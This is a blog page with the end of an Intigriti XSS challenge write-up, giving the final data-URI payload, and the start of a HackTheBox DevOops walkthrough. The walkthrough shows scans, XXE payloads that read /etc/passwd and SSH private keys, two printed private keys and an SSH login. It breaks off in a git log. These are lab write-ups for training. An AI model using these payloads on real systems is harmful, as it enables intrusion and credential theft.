<p>It reached the <code class="highlighter-rouge">eval()</code> but errored because of <code class="highlighter-rouge">Uncaught ReferenceError: text is not defined</code>.<br />
That’s what the 2 function declarations in the initial polyglot data URI were for: to make the <code class="highlighter-rouge">text/html;</code> statement valid.<br />
In my case, I couldn’t use that trick because it would be evaluated in the <code class="highlighter-rouge">iframe</code> while <code class="highlighter-rouge">eval()</code> ran in the parent window. But using that <code class="highlighter-rouge">Object.assign()</code> call, I could set any properties on <code class="highlighter-rouge">window</code>. And that’s the way global variables are set in Javascript.<br />
That was my last iteration and the final payload ended up being:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script></span><span class="nx">parent</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="na">text</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span><span class="na">html</span><span class="p">:</span><span class="mi">0</span><span class="p">},</span><span class="s2">"*"</span><span class="p">);</span><span class="nt"></script></span>
</code></pre></div></div>
<p>The data URI became:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>data:text/html;alert(document.domain);//;base64,PHNjcmlwdD5wYXJlbnQucG9zdE1lc3NhZ2Uoe3RleHQ6MCxodG1sOjB9LCIqIik7PC9zY3JpcHQ+
</code></pre></div></div>
<p>If you want to check for yourself: <a href="https://challenge.intigriti.io/#data:text/html;alert(document.domain);//;base64,PHNjcmlwdD5wYXJlbnQucG9zdE1lc3NhZ2Uoe3RleHQ6MCxodG1sOjB9LCIqIik7PC9zY3JpcHQ+">just click here</a>, no funny business :)</p>
<p>As I said, it was a hard challenge for me and I’m real proud to have beaten it. I worked the whole evening on that and, as you’ve probably guessed, a lot of it was spent reading up about Javascript. In the end, I learned a lot about it and I’m more comfortable with it now. I’m in fact eager to take on the next challenge!<br />
Now the cherry on the cake would be to be picked and win the prize :)</p>
<p>Some take-aways from this, as usual:</p>
<ul>
<li>Read the specs/documentation, they are the closest thing we have to the truth about things work. Even if you think you understand how it works RTFM.</li>
<li>Level-up your research skills, that can make the difference between hours spent on Google and finding that one gem that may help you out.</li>
</ul>Renaud MartinetSpoiler alert: this is a write-up for the XSS challenge that you can find on Intigriti. If you haven’t done it yet and may want to in the future, you definitely don’t want to read this right now.HackTheBox DevOops Write-Up2019-04-23T00:00:00+00:002019-04-23T00:00:00+00:00https://renaudmarti.net/posts/hackthebox-devoops<p class="notice--danger"><strong>Spoiler alert</strong>: this is a write-up for the
DevOops box that
you can find on HackTheBox. If you haven’t done it yet and may want to in the
future, you definitely don’t want to read this right now.</p>
<p>Alright, let’s kick that one off as usual with a quick <code class="highlighter-rouge">nmap</code> scan:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nmap <span class="nt">-A</span> 10.10.10.91
Starting Nmap 7.01 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2018-07-06 06:10 CEST
Nmap scan report <span class="k">for </span>10.10.10.91
Host is up <span class="o">(</span>0.042s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey:
| 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 <span class="o">(</span>RSA<span class="o">)</span>
|_ 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 <span class="o">(</span>ECDSA<span class="o">)</span>
5000/tcp open http Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn<span class="s1">'t have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.29 seconds
</span></code></pre></div></div>
<p>So what do I have? SSH running on the standard port and what looks like an HTTP server on TCP port 5000. For information, Gunicorn is a Python WSGI HTTP server. Basically it runs Python scripts as serves it over HTTP.<br />
The full scan doesn’t give me anything more.</p>
<p>The website looks like a basic blog.</p>
<p>I run <code class="highlighter-rouge">nikto</code> and <code class="highlighter-rouge">gobuster</code> on it to check if there’s some interesting URLs:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>docker run frapsoft/nikto <span class="nt">-host</span> 10.10.10.91 <span class="nt">-port</span> 5000
- Nikto v2.1.5
<span class="nt">---------------------------------------------------------------------------</span>
+ Target IP: 10.10.10.91
+ Target Hostname: 10.10.10.91
+ Target Port: 5000
+ Start Time: 2018-07-06 04:30:58 <span class="o">(</span>GMT0<span class="o">)</span>
<span class="nt">---------------------------------------------------------------------------</span>
+ Server: gunicorn/19.7.1
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found <span class="o">(</span>use <span class="s1">'-C all'</span> to force check all possible <span class="nb">dirs</span><span class="o">)</span>
+ Allowed HTTP Methods: HEAD, OPTIONS, GET
+ 6544 items checked: 0 error<span class="o">(</span>s<span class="o">)</span> and 2 item<span class="o">(</span>s<span class="o">)</span> reported on remote host
+ End Time: 2018-07-06 04:39:04 <span class="o">(</span>GMT0<span class="o">)</span> <span class="o">(</span>486 seconds<span class="o">)</span>
<span class="nt">---------------------------------------------------------------------------</span>
+ 1 host<span class="o">(</span>s<span class="o">)</span> teste
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>docker run <span class="nt">--rm</span> <span class="nt">-v</span> <span class="nv">$PWD</span>/../SecLists/Discovery/Web-Content:/wl devalias/gobuster <span class="nt">-w</span> /wl/big.txt <span class="nt">-u</span> http://10.10.10.91:5000
Gobuster v1.3 OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span>
<span class="o">=====================================================</span>
<span class="o">[</span>+] Mode : <span class="nb">dir</span>
<span class="o">[</span>+] Url/Domain : http://10.10.10.91:5000/
<span class="o">[</span>+] Threads : 10
<span class="o">[</span>+] Wordlist : /words/big.txt
<span class="o">[</span>+] Status codes : 301,302,307,200,204
<span class="o">=====================================================</span>
/feed <span class="o">(</span>Status: 200<span class="o">)</span>
/upload <span class="o">(</span>Status: 200<span class="o">)</span>
<span class="o">=====================================================</span>
</code></pre></div></div>
<ul>
<li><code class="highlighter-rouge">/feed</code> is just the image on the homepage.</li>
<li><code class="highlighter-rouge">/upload</code> is a test API to upload XML files, for blog posts it seems.</li>
</ul>
<p>I first try to upload a Python reverse shell: no errors but no connect back either.<br />
Then a simple XML file following the notes I found: <code class="highlighter-rouge">XML elements: Author, Subject, Content</code></p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0" ?></span>
<span class="nt"><Author></span>Test McTest<span class="nt"></Author></span>
<span class="nt"><Subject></span>This is a test<span class="nt"></Subject></span>
<span class="nt"><Content></span>My wonderful content<span class="nt"></Content></span>
</code></pre></div></div>
<p>I get back an HTTP 500 error. Hmmm.
That feature to upload XML files makes me think of XXE. I read up a bit more about it on the <a href="https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing">OWASP wiki</a> and check if I can get some file disclosure:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0" encoding="ISO-8859-1"?></span>
<span class="cp"><!DOCTYPE foo [
<!ELEMENT foo ANY ></span>
<span class="cp"><!ENTITY xxe SYSTEM "file:///dev/random" ></span>]><span class="nt"><foo></span><span class="ni">&xxe;</span><span class="nt"></foo></span>
</code></pre></div></div>
<p>It hangs for a while and then I get another 500 error so it seems to be parsing it and doing something more than before.
I’ll make it connect back to my laptop to check it is really alive:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0" encoding="ISO-8859-1"?></span>
<span class="cp"><!DOCTYPE foo [
<!ELEMENT foo ANY ></span>
<span class="cp"><!ENTITY xxe SYSTEM "http://10.10.14.10:4444/alive" ></span>]><span class="nt"><foo></span><span class="ni">&xxe;</span><span class="nt"></foo></span>
</code></pre></div></div>
<p>And in my <code class="highlighter-rouge">netcat</code> listener:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nc <span class="nt">-lvp</span> 4444
Listening on <span class="o">[</span>0.0.0.0] <span class="o">(</span>family 0, port 4444<span class="o">)</span>
Connection from <span class="o">[</span>10.10.10.91] port 4444 <span class="o">[</span>tcp/<span class="k">*</span><span class="o">]</span> accepted <span class="o">(</span>family 2, sport 40112<span class="o">)</span>
GET /alive HTTP/1.0
Host: 10.10.14.10:4444
User-Agent: Python-urllib/1.17
</code></pre></div></div>
<p>So I know that XML entities get processed and that the script processing it can reach to external files via HTTP.
I go through a lot of different variations of XXE but can’t get the parser to evaluate the remote DTD I’m providing.</p>
<p>Back to the basics: I aim at getting my input processed properly first, so I can work off of that.
Basically what was missing in my first attempt was a root XML element. First facepalm!</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0" ?></span>
<span class="nt"><Item></span>
<span class="nt"><Author></span>Test McTest<span class="nt"></Author></span>
<span class="nt"><Subject></span>This is a test<span class="nt"></Subject></span>
<span class="nt"><Content></span>My wonderful content<span class="nt"></Content></span>
<span class="nt"></Item></span>
</code></pre></div></div>
<p>When I post it with curl:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-X</span> POST http://10.10.10.91:5000/upload <span class="nt">-F</span> <span class="nv">file</span><span class="o">=</span>@test.xml <span class="nt">-D</span> -
HTTP/1.1 100 Continue
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sun, 08 Jul 2018 13:27:09 GMT
Connection: close
Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8
Content-Length: 183
PROCESSED BLOGPOST:
Author: Test McTest
Subject: This is a <span class="nb">test
</span>Content: My wonderful content
URL <span class="k">for </span>later reference: /uploads/test.xml
File path: /home/roosa/deploy/src
</code></pre></div></div>
<p>I get a proper response and a lot of info right there!
Now I can get back to experimenting with XXE as I have a feedback channel.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0" ?></span>
<span class="cp"><!DOCTYPE Content [
<!ELEMENT Content ANY ></span>
<span class="cp"><!ENTITY xxe SYSTEM "file:///etc/passwd"></span>
]>
<span class="nt"><Item></span>
<span class="nt"><Author></span>Test McTest<span class="nt"></Author></span>
<span class="nt"><Subject></span>This is a test<span class="nt"></Subject></span>
<span class="nt"><Content></span><span class="ni">&xxe;</span><span class="nt"></Content></span>
<span class="nt"></Item></span>
</code></pre></div></div>
<p>And I get back exactly what I wanted:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-X</span> POST http://10.10.10.91:5000/upload <span class="nt">-F</span> <span class="nv">file</span><span class="o">=</span>@xxe.xml <span class="nt">-D</span> -
HTTP/1.1 100 Continue
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Mon, 09 Jul 2018 04:20:53 GMT
Connection: close
Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8
Content-Length: 2601
PROCESSED BLOGPOST:
Author: Test McTest
Subject: This is a <span class="nb">test
</span>Content: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<span class="nb">sync</span>:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System <span class="o">(</span>admin<span class="o">)</span>:/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false
git:x:1001:1001:git,,,:/home/git:/bin/bash
roosa:x:1002:1002:,,,:/home/roosa:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false
URL <span class="k">for </span>later reference: /uploads/xxe.xml
File path: /home/roosa/deploy/src
</code></pre></div></div>
<p>So I’ve got two users with shell access: <code class="highlighter-rouge">git</code> and <code class="highlighter-rouge">roosa</code>. Let’s poke around.
I change my <code class="highlighter-rouge">xxe.xml</code> file to get me the content of <code class="highlighter-rouge">/home/roosa/.ssh/authorized_keys</code> in case SSH public key auth is setup:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-X</span> POST http://10.10.10.91:5000/upload <span class="nt">-F</span> <span class="nv">file</span><span class="o">=</span>@xxe.xml <span class="nt">-D</span> -
HTTP/1.1 100 Continue
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Mon, 09 Jul 2018 04:24:47 GMT
Connection: close
Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8
Content-Length: 556
PROCESSED BLOGPOST:
Author: Test McTest
Subject: This is a <span class="nb">test
</span>Content: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4wy3iqH+JvzrEkEubN4+Xr/llE0mRSP9e6/X53qdxxN99v/v2wheFraHhrh+nXwXneN3Hc+oQ7scBeWzMCUG8Z2DreL4vFaa7ynkGtOYQ+X5xDglH9H57E2CAe6qynyutwer3qVte05HLxI6WJSN+yk+xZ9jsluS0rJpArQm6dHbmNWS/liEZV7JpM2ZI09OWlkJUZUCnVGi1Z1z/R7HurOerjnAtva1kUYTTGZhN5eChpfj1AhBCeiLoM/f7sStBJ3pAZOrmYK+zOmdNSybAWPklF2GMazO3TMEaWWxWf3073Qqbek3xI3XJYJNqXoUtSK7FeD31hJXS0SXSt9JT roosa@gitter
URL <span class="k">for </span>later reference: /uploads/xxe.xml
File path: /home/roosa/deploy/src
</code></pre></div></div>
<p>And yes there it is!
But <code class="highlighter-rouge">git</code> is not:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-X</span> POST http://10.10.10.91:5000/upload <span class="nt">-F</span> <span class="nv">file</span><span class="o">=</span>@xxe.xml <span class="nt">-D</span> -
HTTP/1.1 100 Continue
curl: <span class="o">(</span>52<span class="o">)</span> Empty reply from server
</code></pre></div></div>
<p>I check that the default SSH key <code class="highlighter-rouge">/home/roosa/.ssh/id_rsa.pub</code> is the one used to login:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-X</span> POST http://10.10.10.91:5000/upload <span class="nt">-F</span> <span class="nv">file</span><span class="o">=</span>@xxe.xml <span class="nt">-D</span> -
HTTP/1.1 100 Continue
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Mon, 09 Jul 2018 04:25:50 GMT
Connection: close
Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8
Content-Length: 556
PROCESSED BLOGPOST:
Author: Test McTest
Subject: This is a <span class="nb">test
</span>Content: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4wy3iqH+JvzrEkEubN4+Xr/llE0mRSP9e6/X53qdxxN99v/v2wheFraHhrh+nXwXneN3Hc+oQ7scBeWzMCUG8Z2DreL4vFaa7ynkGtOYQ+X5xDglH9H57E2CAe6qynyutwer3qVte05HLxI6WJSN+yk+xZ9jsluS0rJpArQm6dHbmNWS/liEZV7JpM2ZI09OWlkJUZUCnVGi1Z1z/R7HurOerjnAtva1kUYTTGZhN5eChpfj1AhBCeiLoM/f7sStBJ3pAZOrmYK+zOmdNSybAWPklF2GMazO3TMEaWWxWf3073Qqbek3xI3XJYJNqXoUtSK7FeD31hJXS0SXSt9JT roosa@gitter
URL <span class="k">for </span>later reference: /uploads/xxe.xml
File path: /home/roosa/deploy/src
</code></pre></div></div>
<p>Sweet! So I grab the private key <code class="highlighter-rouge">/home/roosa/.ssh/id_rsa</code>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-X</span> POST http://10.10.10.91:5000/upload <span class="nt">-F</span> <span class="nv">file</span><span class="o">=</span>@xxe.xml <span class="nt">-D</span> -
HTTP/1.1 100 Continue
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Mon, 09 Jul 2018 04:26:04 GMT
Connection: close
Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8
Content-Length: 1837
PROCESSED BLOGPOST:
Author: Test McTest
Subject: This is a <span class="nb">test
</span>Content: <span class="nt">-----BEGIN</span> RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J
R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk
v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4
9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K
m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS
JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz
ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB
lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3
koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7
e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe
8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ
Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6
NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93
hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0
ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R
KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v
vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0
8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn
y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl
aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG
xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq
<span class="nv">82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s</span><span class="o">=</span>
<span class="nt">-----END</span> RSA PRIVATE KEY-----
URL <span class="k">for </span>later reference: /uploads/xxe.xml
File path: /home/roosa/deploy/src
</code></pre></div></div>
<p>And save it to a local file so I can use it to log in remotely:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">chmod </span>600 id_roosa
<span class="nv">$ </span>ssh <span class="nt">-i</span> id_roosa roosa@10.10.10.91
Welcome to Ubuntu 16.04.4 LTS <span class="o">(</span>GNU/Linux 4.13.0-37-generic i686<span class="o">)</span>
<span class="k">*</span> Documentation: https://help.ubuntu.com
<span class="k">*</span> Management: https://landscape.canonical.com
<span class="k">*</span> Support: https://ubuntu.com/advantage
135 packages can be updated.
60 updates are security updates.
The programs included with the Ubuntu system are free software<span class="p">;</span>
the exact distribution terms <span class="k">for </span>each program are described <span class="k">in </span>the
individual files <span class="k">in</span> /usr/share/doc/<span class="k">*</span>/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
roosa@gitter:~<span class="nv">$ </span><span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>1002<span class="o">(</span>roosa<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1002<span class="o">(</span>roosa<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1002<span class="o">(</span>roosa<span class="o">)</span>,4<span class="o">(</span>adm<span class="o">)</span>,27<span class="o">(</span><span class="nb">sudo</span><span class="o">)</span>
roosa@gitter:~<span class="nv">$ </span><span class="nb">ls
</span>deploy Desktop Documents Downloads examples.desktop Music Pictures Public run-blogfeed.sh service.sh service.sh~ Templates user.txt Videos work
roosa@gitter:~<span class="nv">$ </span><span class="nb">cat </span>user.txt
c580<span class="k">************************</span>c67b
</code></pre></div></div>
<p>Great I now have a proper shell on the machine. Let’s do some recon.<br />
First I notice that the user is a member of the <code class="highlighter-rouge">sudo</code> group so I check what it can do with it:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>roosa@gitter:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="nb">sudo</span>: unable to resolve host gitter: Connection timed out
<span class="o">[</span><span class="nb">sudo</span><span class="o">]</span> password <span class="k">for </span>roosa:
roosa@gitter:~<span class="err">$</span>
</code></pre></div></div>
<p>Bummer it asks for a password… OK we’ll have to work a bit more then.<br />
Enumeration here I come.<br />
There are some scripts to run the blogfeed app:</p>
<ul>
<li><code class="highlighter-rouge">run-blogfeed.sh</code> seems to be used by <code class="highlighter-rouge">roosa</code></li>
<li><code class="highlighter-rouge">service.sh</code> and the tempfile <code class="highlighter-rouge">service.sh~</code> look like an init script</li>
<li><code class="highlighter-rouge">deploy/run-gunicorn.sh</code> is called by <code class="highlighter-rouge">/etc/init.d/blogfeed</code></li>
</ul>
<p><code class="highlighter-rouge">/etc/init.d/blogfeed</code> is running things as <code class="highlighter-rouge">roosa</code> so it won’t really help me to elevate my privileges.</p>
<p>There are two copies of the blogfeed source in both <code class="highlighter-rouge">/home/roosa/deploy</code> and <code class="highlighter-rouge">/home/roosa/work</code>.<br />
Source code usually equals loot and I quickly find something interesting:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> /home/roosa/deploy/resources/integration/authcredentials.key
<span class="nt">-----BEGIN</span> RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0<span class="o">=</span>
<span class="nt">-----END</span> RSA PRIVATE KEY-----
</code></pre></div></div>
<p>What looks like an SSH private key.<br />
I also notice that <code class="highlighter-rouge">/home/roosa/work/blogfeed</code> is a git repo and having a look at the commit log:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git log
commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 26 06:13:55 2018 <span class="nt">-0400</span>
Use Base64 <span class="k">for </span>pickle feed loading
commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 15:37:00 2018 <span class="nt">-0400</span>
Set PIN to make debugging faster as it will no longer change every <span class="nb">time </span>the application code is changed. Remember to remove before production use.
commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 15:08:09 2018 <span class="nt">-0400</span>
Debug support added to make development more agile.
commit ca3e768f2434511e75bd5137593895bd38e1b1c2
